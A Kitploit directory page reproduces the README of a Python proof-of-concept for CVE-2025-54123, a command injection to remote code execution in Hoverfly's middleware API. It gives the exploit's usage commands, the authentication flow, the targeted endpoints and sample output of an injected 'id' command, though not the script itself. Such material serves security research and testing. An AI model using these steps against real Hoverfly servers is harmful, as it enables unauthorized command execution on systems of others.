Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-54123 — Python proof-of-concept for CVE-2025-54123, demonstrating command injection to RCE in Hoverfly middleware API with credential or token-based authentication. | Kitploit
Tools/GitHubGitHub/0xk4rth1/cve-2025-54123
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHub0xk4rth1/cve-2025-54123

CVE-2025-54123

Python proof-of-concept for CVE-2025-54123, demonstrating command injection to RCE in Hoverfly middleware API with credential or token-based authentication.

View Repository
2285 months agoNot yet reviewed
Share

CVE-2025-54123 Hoverfly Command Injection to RCE PoC

Overview

This repository contains a Python proof-of-concept (PoC) script for interacting with Hoverfly instances affected by CVE-2025-54123.

The script supports:

  • Authentication using username/password credentials
  • Authentication using an existing bearer token
  • Interaction with the Hoverfly middleware API endpoint
  • Displaying API response output

Warning

This project is intended solely for authorized security research, testing, and educational purposes. Do not use it against systems without explicit permission.


Requirements

  • Python 3.8+
  • requests

Install dependencies:

pip install requests

Usage

Authenticate with Credentials

python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  -u admin \
  -p password \
  --cmd "id"

Authenticate with an Existing Token

python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  --token <ACCESS_TOKEN> \
  --cmd "id"

Arguments

ArgumentDescription
--targetTarget domain or IP address
--portTarget service port
-uHoverfly username
-pHoverfly password
--tokenExisting bearer token
--cmdCommand string supplied to the middleware endpoint

Authentication Flow

When credentials are supplied:

  1. A POST request is sent to:
/api/token-auth
  1. The returned token is extracted.
  2. The token is used to authenticate subsequent requests.

API Endpoint

The script communicates with:

/api/v2/hoverfly/middleware

using an authenticated PUT request.


Example Output

Approaching target : example.com
Attempting login to http://example.com:8888/api/token-auth
Checking Credentials....
Login Successful!
Injected : id
uid=1000(user) gid=1000(user)

Project Structure

.
├── CVE-2025-54123.py
└── README.md

Disclaimer

This repository is provided for educational, defensive security, and authorized testing purposes only. The author assumes no responsibility for misuse, damage, or legal consequences arising from the use of this software.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    933
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    551
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    354
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    351
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    332
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →